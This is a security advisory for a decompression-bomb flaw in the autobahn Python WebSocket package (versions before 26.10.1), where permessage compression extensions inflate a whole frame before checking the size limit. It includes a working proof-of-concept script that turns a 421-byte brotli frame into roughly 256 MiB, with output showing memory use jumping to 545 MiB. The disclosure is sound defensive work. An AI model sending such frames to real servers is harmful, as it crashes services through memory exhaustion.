Improper Handling of Highly Compressed Data (Data Amplification) Affecting autobahn package, versions [,26.10.1)

Affected versions of this package are vulnerable to Improper Handling of Highly Compressed Data (Data Amplification) via the decompress_message_data method of the permessage-brotli (and other permessage-* compression) extensions, which inflates an entire compressed frame into memory before checking it against the configured decompression budget (max_output_len). An attacker can send a small compressed WebSocket frame that expands to a very large amount of data, causing excessive memory consumption and crashing the server process.

How to run the PoC

python3 -m venv venv && . venv/bin/activate
pip install autobahn==26.7.1 brotli==1.2.0
python3 poc_autobahn.py

# PoC: autobahn 26.7.1 permessage-brotli inflates a whole frame before maxMessagePayloadSize is checked.
import brotli, resource
from autobahn.websocket.compress import PerMessageBrotli

c = brotli.Compressor()  # build a 256 MiB-of-zeros frame without holding the plaintext
frame = b"".join(c.process(b"\0" * (1 << 20)) for _ in range(256)) + c.finish()
pmce = PerMessageBrotli(is_server=True, server_no_context_takeover=False, client_no_context_takeover=False)
pmce.start_decompress_message()
print(len(frame), "bytes on the wire; peak RSS before:", resource.getrusage(resource.RUSAGE_SELF).ru_maxrss >> 10, "MiB")
try:
    pmce.decompress_message_data(frame, max_output_len=1 << 20)  # remaining budget: 1 MiB
except Exception as e:
    print(type(e).name, "| peak RSS after:", resource.getrusage(resource.RUSAGE_SELF).ru_maxrss >> 10, "MiB")

Output:

421 bytes on the wire; peak RSS before: 36 MiB
PayloadExceededError | peak RSS after: 545 MiB

Note: The PoC targets autobahn 26.7.1 with brotli 1.2.0 in a Python virtual environment.

• GitHub Advisory
• GitHub Commit
• GitHub PR
• GitHub Release